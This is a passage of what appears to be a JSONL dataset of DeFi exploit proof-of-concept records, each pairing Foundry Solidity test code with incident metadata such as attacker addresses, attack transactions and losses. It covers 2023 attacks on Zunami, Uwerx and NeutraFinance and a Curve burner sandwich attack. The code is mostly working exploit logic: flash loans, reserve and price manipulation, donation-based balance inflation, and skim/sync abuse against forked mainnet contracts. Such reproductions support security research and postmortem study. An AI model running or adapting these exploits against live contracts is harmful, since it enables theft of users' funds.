sdtEarningsInFeeToken = priceTokenByExchange(amountIn, _config.sdtToFeeTokenPath); -> sushi router.getAmountsOut(amountIn, exchangePath); path: SDT -> WETH -> USDT\n emit log_named_decimal_uint(\n \"Before donation and reserve manipulation, UZD balance\", UZD.balanceOf(address(this)), WETH.decimals()\n );\n SDT.transfer(MIMCurveStakeDao, SDT.balanceOf(address(this))); // donate SDT to MIMCurveStakeDao, inflate UZD balance\n\n swapToken1Totoken2(WETH, SDT, 10_000 ether); // swap WETH to SDT by sushi router\n uint256 value = swapToken1Totoken2(USDT, WETH, 7_000_000 * 1e6); // swap USDT to WETH by sushi router\n\n UZD.cacheAssetPrice(); // rebase UZD balance\n\n emit log_named_decimal_uint(\n \"After donation and reserve manipulation, UZD balance\", UZD.balanceOf(address(this)), WETH.decimals()\n );\n\n swapToken1Totoken2(SDT, WETH, SDT.balanceOf(address(this))); // swap SDT to WETH\n swapToken1Totoken2(WETH, USDT, value); // swap WETH to USDT\n\n UZD_crvFRAX_POOL.exchange(0, 1, UZD.balanceOf(address(this)) * 84 / 100, 0, address(this)); // swap UZD to crvFRAX\n\n crvUSD_UZD_POOL.exchange(0, 1, UZD.balanceOf(address(this)), 0, address(this)); // swap UZD to crvUSD\n\n FRAX_USDC_POOL.remove_liquidity(crvFRAX.balanceOf(address(this)), [uint256(0), uint256(0)]); // burn crvFRAX\n\n FRAX_USDC_POOL.exchange(0, 1, FRAX.balanceOf(address(this)), 0); // swap FRAX to USDC\n\n crvUSD_USDC_POOL.exchange(1, 0, crvUSD.balanceOf(address(this)), 0, address(this)); // swap crvUSD to USDC\n\n Curve3POOL.exchange(1, 2, 25_920 * 1e6, 0); // swap USDC to USDT\n\n uint256 swapAmount = USDC.balanceOf(address(this)) - amounts[0];\n USDC_WETH_Pair.swap(address(this), true, int256(swapAmount), 920_316_691_481_336_325_637_286_800_581_326, \"\"); // swap USDC to WETH\n\n IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);\n IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);\n }\n\n function apporveAll() internal {\n USDC.approve(address(FRAX_USDC_POOL), type(uint256).max);\n crvFRAX.approve(address(UZD_crvFRAX_POOL), type(uint256).max);\n UZD.approve(address(UZD_crvFRAX_POOL), type(uint256).max);\n USDC.approve(address(crvUSD_USDC_POOL), type(uint256).max);\n crvUSD.approve(address(crvUSD_USDC_POOL), type(uint256).max);\n crvUSD.approve(address(crvUSD_UZD_POOL), type(uint256).max);\n UZD.approve(address(crvUSD_UZD_POOL), type(uint256).max);\n WETH.approve(address(ETH_SDT_POOL), type(uint256).max);\n USDC.approve(address(Curve3POOL), type(uint256).max);\n USDC.approve(address(USDC_WETH_Pair), type(uint256).max);\n WETH.approve(address(sushiRouter), type(uint256).max);\n SDT.approve(address(sushiRouter), type(uint256).max);\n TransferHelper.safeApprove(address(USDT), address(sushiRouter), type(uint256).max);\n FRAX.approve(address(FRAX_USDC_POOL), type(uint256).max);\n }\n\n function swapToken1Totoken2(IERC20 token1, IERC20 token2, uint256 amountIn) internal returns (uint256) {\n address[] memory path = new address[](2);\n path[0] = address(token1);\n path[1] = address(token2);\n uint256[] memory values =\n sushiRouter.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);\n return values[1];\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n USDC.transfer(msg.sender, uint256(amount0Delta));\n }\n}\n", "type": "exploit_poc", "protocol": "Zunami", "date": "2023-08", "file_name": "Zunami_exp.sol", "attack_vector": "flash_loan", "content_hash": "0304427608057b20", "collected_at": "2026-01-07T10:59:16.524727", "_source": "postmortems", "chain": "ethereum", "block_number": 17908949, "total_lost_raw": "~2M USD$", "total_lost_usd": 2000000.0, "attacker_address": "https://etherscan.io/address/0x5f4c21c9bb73c8b4a296cc256c0cde324db146df", "attack_contract": "https://etherscan.io/address/0xa21a2b59d80dc42d332f778cbb9ea127100e5d75", "vulnerable_contract": "https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c", "attack_tx": "https://etherscan.io/tx/0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb", "postmortem_url": null, "twitter_url": "https://twitter.com/peckshield/status/1690877589005778945", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~2M USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~2M USD$", "keyinfo_attacker": "https://etherscan.io/address/0x5f4c21c9bb73c8b4a296cc256c0cde324db146df", "keyinfo_attack_contract": "https://etherscan.io/address/0xa21a2b59d80dc42d332f778cbb9ea127100e5d75", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb40b6608b2743e691c9b54ddbdee7bf03cd79f1c", "keyinfo_attack_tx": "https://etherscan.io/tx/0x0788ba222970c7c68a738b0e08fb197e669e61f9b226ceec4cab9b85abe8cceb", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/peckshield/status/1690877589005778945", "funds_lost_formatted": "$2.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "Zunami Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~176 ETH\n// Attacker : https://etherscan.io/address/0x6057a831d43c395198a10cf2d7d6d6a063b1fce4\n// Attack Contract : https://etherscan.io/address/0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca\n// Vulnerable Contract : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54\n// Attack Tx : https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8\n// Detail : https://explorer.phalcon.xyz/tx/eth/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54\n\n// @Analysis\n// Twitter Guy : https://twitter.com/deeberiroz/status/1686683788795846657\n\ncontract ContractTest is Test {\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 WERX = IERC20(0x4306B12F8e824cE1fa9604BbD88f2AD4f0FE3c54);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Uni_Pair_V2 pair = Uni_Pair_V2(0xa41529982BcCCDfA1105C6f08024DF787CA758C4);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_826_202);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(WERX), \"WERX\");\n vm.label(address(Router), \"Router\");\n vm.label(address(pair), \"pair\");\n }\n\n function testExploit() external {\n // mock a flash loan for simplicity\n deal(address(WETH), address(this), 20_000 ether);\n WETH.approve(address(Router), type(uint256).max);\n WERX.approve(address(Router), type(uint256).max);\n\n pair.sync();\n\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(WERX);\n\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 20_000 ether, 0, path, address(this), block.timestamp\n );\n\n WERX.transfer(address(pair), 4_429_817_738_575_912_760_684_500);\n\n pair.skim(address(0x01));\n pair.sync();\n\n path[0] = address(WERX);\n path[1] = address(WETH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit, ETH PROFIT\",\n WETH.balanceOf(address(this)) - 20_000 ether,\n WETH.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Uwerx", "date": "2023-08", "file_name": "Uwerx_exp.sol", "attack_vector": null, "content_hash": "b8b5543e70a0e113", "collected_at": "2026-01-07T10:59:16.524798", "_source": "postmortems", "chain": "ethereum", "block_number": 17826202, "total_lost_raw": "~176 ETH", "total_lost_usd": 176.0, "attacker_address": "https://etherscan.io/address/0x6057a831d43c395198a10cf2d7d6d6a063b1fce4", "attack_contract": "https://etherscan.io/address/0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca", "vulnerable_contract": "https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54", "attack_tx": "https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8", "postmortem_url": null, "twitter_url": "https://twitter.com/deeberiroz/status/1686683788795846657", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~176 ETH", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~176 ETH", "keyinfo_attacker": "https://etherscan.io/address/0x6057a831d43c395198a10cf2d7d6d6a063b1fce4", "keyinfo_attack_contract": "https://etherscan.io/address/0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca", "keyinfo_vulnerable_contract": "https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54", "keyinfo_attack_tx": "https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/deeberiroz/status/1686683788795846657", "funds_lost_formatted": "$176", "content_richness_score": 5.35, "quality_estimate": "medium", "title": "Uwerx Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/phalcon_xyz/status/1686654241111429120?s=46&t=Oc_WAGUoXqc9c0LidD-zww\n// @TX\n// https://explorer.phalcon.xyz/tx/arbitrum/0x6301d4c9f7ac1c96a65e83be6ea2fff5000f0b1939ad24955e40890bd9fe6122\n\ninterface IVault {\n function flashLoan(\n IFlashLoanRecipient recipient,\n IERC20[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountToken, uint256 amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountA, uint256 amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountToken, uint256 amountETH);\n\n function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\n}\n\ninterface ICamelotRouter is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n address referrer,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n address referrer,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n address referrer,\n uint256 deadline\n ) external;\n}\n\ninterface ICamelotFactory {\n event PairCreated(address indexed token0, address indexed token1, address pair, uint256);\n\n function owner() external view returns (address);\n\n function feePercentOwner() external view returns (address);\n\n function setStableOwner() external view returns (address);\n\n function feeTo() external view returns (address);\n\n function ownerFeeShare() external view returns (uint256);\n\n function referrersFeeShare(\n address\n ) external view returns (uint256);\n\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n\n function allPairs(\n uint256\n ) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(address tokenA, address tokenB) external returns (address pair);\n\n function setFeeTo(\n address\n ) external;\n\n function feeInfo() external view returns (uint256 _ownerFeeShare, address _feeTo);\n}\n\ninterface ICamelotPair {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(\n address owner\n ) external view returns (uint256);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(\n address owner\n ) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint16 token0feePercent, uint16 token1FeePercent);\n\n function getAmountOut(uint256 amountIn, address tokenIn) external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function setFeePercent(uint16 token0FeePercent, uint16 token1FeePercent) external;\n\n function mint(\n address to\n ) external returns (uint256 liquidity);\n\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data, address referrer) external;\n\n function skim(\n address to\n ) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IConvert {\n function convert(\n uint256 _amount\n ) external;\n}\n\ncontract CounterTest is Test {\n IVault valut = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 NEU = IERC20(0xdA51015b73cE11F77A115Bb1b8a7049e02dDEcf0);\n IERC20 NEU1 = IERC20(0x6609BE1547166D1C4605F3A243FDCFf467e600C3);\n ICamelotRouter CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);\n IConvert convert = IConvert(0xdbd3d6040f87A9F822839Cb31195Ad25C2D0D54d);\n ICamelotPair CamelotPair0 = ICamelotPair(0x65eBC8Cfd2aF1D659ef2405a47172830180Ba440);\n ICamelotPair CamelotPair1 = ICamelotPair(0x2ea3CA79413C2EC4C1893D5f8C34C16acB2288A4);\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 117_189_138);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(NEU), \"NEU\");\n }\n\n function test() public {\n console.log(\"Attacker's WETH token balance: \", WETH.balanceOf(address(this)));\n IERC20[] memory tokens = new IERC20[](1);\n uint256[] memory amount = new uint256[](1);\n tokens[0] = WETH;\n amount[0] = 1000 ether;\n bytes memory userdata;\n valut.flashLoan(IFlashLoanRecipient(address(this)), tokens, amount, userdata);\n }\n\n function receiveFlashLoan(\n IERC20[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n console.log(\"After flashloan attacker's WETH token balance: \", WETH.balanceOf(address(this)));\n WETH.approve(address(CamelotRouter), type(uint256).max);\n ICamelotFactory factoryAddr = ICamelotFactory(CamelotRouter.factory());\n console.log(\"Factory Address: \", address(factoryAddr));\n CamelotPair0 = ICamelotPair(factoryAddr.getPair(address(WETH), address(NEU)));\n console.log(\"CMLT-LP0 addresss: \", address(CamelotPair0));\n console.log(\"CMLT-LP0 addresss: \", factoryAddr.getPair(address(WETH), address(NEU)));\n address tokenA = CamelotPair0.token0();\n address tokenB = CamelotPair0.token1();\n address[] memory path = new address[](2);\n path[0] = tokenA;\n path[1] = tokenB;\n CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 0.15 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes\n );\n console.log(\"swap token [WETH,NEU] 0.15 WETH -> NEU\");\n uint256 neuAmount = NEU.balanceOf(address(this));\n console.log(\"Attacker's NEU token balance: \", neuAmount);\n NEU.approve(address(CamelotRouter), neuAmount);\n uint256 lpAmount0 = CamelotPair0.balanceOf(address(this));\n console.log(\"Balance of Attacker in CMLT-LP0: \", lpAmount0);\n CamelotRouter.addLiquidity(\n tokenA, tokenB, 0.15 ether, neuAmount, 0, 0, address(this), block.timestamp + 30 minutes\n );\n lpAmount0 = CamelotPair0.balanceOf(address(this));\n console.log(\"Balance of Attacker in CMLT-LP0 after addLiquidity: \", lpAmount0);\n CamelotPair0.approve(address(convert), type(uint256).max);\n uint256 cvAmount = CamelotPair1.balanceOf(address(convert));\n console.log(\"Balance of Convert in CMLT-LP1: \", cvAmount);\n (uint256 lp0_reserve0, uint256 lp0_reserve1,,) = CamelotPair0.getReserves();\n console.log(\"LP0 reserve0 amount: \", lp0_reserve0);\n console.log(\"LP0 reserve1 amount: \", lp0_reserve1);\n (uint256 lp1_reserve0, uint256 lp1_reserve1,,) = CamelotPair1.getReserves();\n console.log(\"LP1 reserve0 amount: \", lp1_reserve0);\n console.log(\"LP1 reserve1 amount: \", lp1_reserve1);\n uint256 lp0_totalsupply = CamelotPair0.totalSupply();\n console.log(\"LP0 totalSupply amount: \", lp0_totalsupply);\n uint256 lp1_totalsupply = CamelotPair1.totalSupply();\n console.log(\"LP1 totalSupply amount: \", lp1_totalsupply);\n neuAmount = NEU.balanceOf(address(this));\n console.log(\"Attacker's NEU token balance: \", neuAmount);\n CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 849 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes\n );\n console.log(\"swap token [WETH,NEU] 849 WETH -> NEU\");\n neuAmount = NEU.balanceOf(address(this));\n console.log(\"Attacker's NEU token balance: \", neuAmount);\n uint256 wethAmount = WETH.balanceOf(address(this));\n console.log(\"Attacker's WETH token balance: \", wethAmount);\n (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves();\n console.log(\"LP0 reserve0 amount: \", lp0_reserve0);\n console.log(\"LP0 reserve1 amount: \", lp0_reserve1);\n (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves();\n console.log(\"LP1 reserve0 amount: \", lp1_reserve0);\n console.log(\"LP1 reserve1 amount: \", lp1_reserve1);\n convert.convert(lpAmount0);\n console.log(\"call the convert\");\n neuAmount = NEU.balanceOf(address(this));\n console.log(\"Attacker's NEU token balance: \", neuAmount);\n wethAmount = WETH.balanceOf(address(this));\n console.log(\"Attacker's WETH token balance: \", wethAmount);\n NEU.approve(address(CamelotRouter), type(uint256).max);\n address[] memory path1 = new address[](2);\n path1[0] = tokenB;\n path1[1] = tokenA;\n CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n neuAmount, 0, path1, address(this), address(this), block.timestamp + 30 minutes\n );\n console.log(\"swap token [NEU,WETH]\");\n wethAmount = WETH.balanceOf(address(this));\n console.log(\"Attacker's WETH token balance: \", wethAmount);\n uint256 lpAmount1 = CamelotPair1.balanceOf(address(this));\n console.log(\"Balance of Attacker in CMLT-LP1: \", lpAmount1);\n CamelotPair1.transfer(address(CamelotPair1), lpAmount1);\n (uint256 amount0, uint256 amount1) = CamelotPair1.burn(address(this));\n console.log(\"CMLT-LP1 burn amount: \", amount0, amount1);\n uint256 neu1Amount = NEU1.balanceOf(address(this));\n console.log(\"Attacker's NEU1 token balance: \", neu1Amount);\n wethAmount = WETH.balanceOf(address(this));\n console.log(\"Attacker's WETH token balance: \", wethAmount);\n address[] memory path2 = new address[](2);\n path2[0] = address(NEU1);\n path2[1] = address(WETH);\n NEU1.approve(address(CamelotRouter), type(uint256).max);\n CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n neu1Amount, 0, path2, address(this), address(this), block.timestamp + 30 minutes\n );\n console.log(\"swap token [NEU1,WETH]\");\n wethAmount = WETH.balanceOf(address(this));\n console.log(\"Attacker's WETH token balance: \", wethAmount);\n (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves();\n console.log(\"LP0 reserve0 amount: \", lp0_reserve0);\n console.log(\"LP0 reserve1 amount: \", lp0_reserve1);\n (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves();\n console.log(\"LP1 reserve0 amount: \", lp1_reserve0);\n console.log(\"LP1 reserve1 amount: \", lp1_reserve1);\n WETH.transfer(address(valut), 1000 ether);\n console.log(\"refund flashloan\");\n wethAmount = WETH.balanceOf(address(this));\n console.log(\"Attacker's WETH token balance: \", wethAmount);\n }\n}\n", "type": "exploit_poc", "protocol": "NeutraFinance", "date": "2023-08", "file_name": "NeutraFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "bcc9cc49052e4dff", "collected_at": "2026-01-07T10:59:16.524848", "_source": "postmortems", "chain": "unknown", "block_number": 117189138, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function test() public {\n console.log(\"Attacker's WETH token balance: \", WETH.balanceOf(address(this)));\n IERC20[] memory tokens = new IERC20[](1);\n uint256[] memory amount = new uint256[](1);\n tokens[0] = WETH;\n amount[0] = 1000 ether;\n bytes memory userdata;\n valut.flashLoan(IFlashLoanRecipient(address(this)), tokens, amount, userdata);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "NeutraFinance Exploit (2023-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$36k USD$\n// Attacker : https://etherscan.io/address/0xccc526e2433db1eebb9cbf6acd7f03a19408278c\n// Attack Contract : https://etherscan.io/address/0x915dff6707bea63daea1b41aa5d37353229066ba\n// Vulnerable Contract : https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58\n// Attack Tx : https://etherscan.io/tx/0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58#code\n\n// @Analysis\n// Post-mortem : https://medium.com/@Hypernative/exotic-culinary-hypernative-systems-caught-a-unique-sandwich-attack-against-curve-finance-6d58c32e436b\n\ninterface ICurveBurner {\n function execute() external;\n}\n\ninterface ICurve {\n function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;\n\n function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;\n\n function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;\n}\n\ncontract ContractTest is Test {\n ICurveBurner CurveBurner = ICurveBurner(0x786B374B5eef874279f4B7b4de16940e57301A58);\n IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);\n IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 LP = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);\n crETH cETH = crETH(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5);\n ICurve Curve3POOL = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n ICErc20Delegate cUSDT = ICErc20Delegate(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9);\n ICointroller Cointroller = ICointroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_823_542);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(CurveBurner), \"CurveBurner\");\n vm.label(address(Curve3POOL), \"Curve3POOL\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(wstETH), \"wstETH\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(LP), \"LP\");\n vm.label(address(cETH), \"cETH\");\n vm.label(address(cUSDT), \"cUSDT\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(aaveV2), \"aaveV2\");\n vm.label(address(aaveV3), \"aaveV3\");\n }\n\n function testExploit() external {\n deal(address(this), 0);\n\n address[] memory tokens = new address[](3);\n tokens[0] = address(wstETH);\n tokens[1] = address(WETH);\n tokens[2] = address(USDT);\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 35_986 ether;\n amounts[1] = 79_768 ether;\n amounts[2] = 10_744_911 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n wstETH.approve(address(aaveV3), wstETH.balanceOf(address(this)));\n aaveV3.supply(address(wstETH), wstETH.balanceOf(address(this)), address(this), 0); // deposit wstETH to aaveV3\n aaveV3.borrow(address(USDT), 40_000_000 * 1e6, 2, 0, address(this)); // borrow USDT from aaveV3\n\n WETH.approve(address(aaveV2), WETH.balanceOf(address(this)));\n aaveV2.deposit(address(WETH), 50_000 ether, address(this), 0); // deposit WETH to aaveV2\n aaveV2.borrow(address(USDT), 65_000_000 * 1e6, 2, 0, address(this)); // borrow USDT from aaveV2\n\n WETH.withdraw(29_000 ether);\n\n address[] memory cTokens = new address[](2);\n cTokens[0] = address(cETH);\n cTokens[1] = address(cUSDT);\n Cointroller.enterMarkets(cTokens); // enter cTokens market\n cETH.mint{value: 29_000 ether}();\n cUSDT.borrow(40_000_000 * 1e6); // borrow USDT from cUSDT\n\n LP.approve(address(Curve3POOL), type(uint256).max);\n USDC.approve(address(Curve3POOL), type(uint256).max);\n DAI.approve(address(Curve3POOL), type(uint256).max);\n TransferHelper.safeApprove(address(USDT), address(Curve3POOL), type(uint256).max);\n TransferHelper.safeApprove(address(USDT), address(cUSDT), type(uint256).max);\n TransferHelper.safeApprove(address(USDT), address(aaveV2), type(uint256).max);\n TransferHelper.safeApprove(address(USDT), address(aaveV3), type(uint256).max);\n\n uint256[3] memory amount;\n amount[0] = 0;\n amount[1] = 0;\n amount[2] = USDT.balanceOf(address(this));\n Curve3POOL.add_liquidity(amount, 1); // deposit USDT to 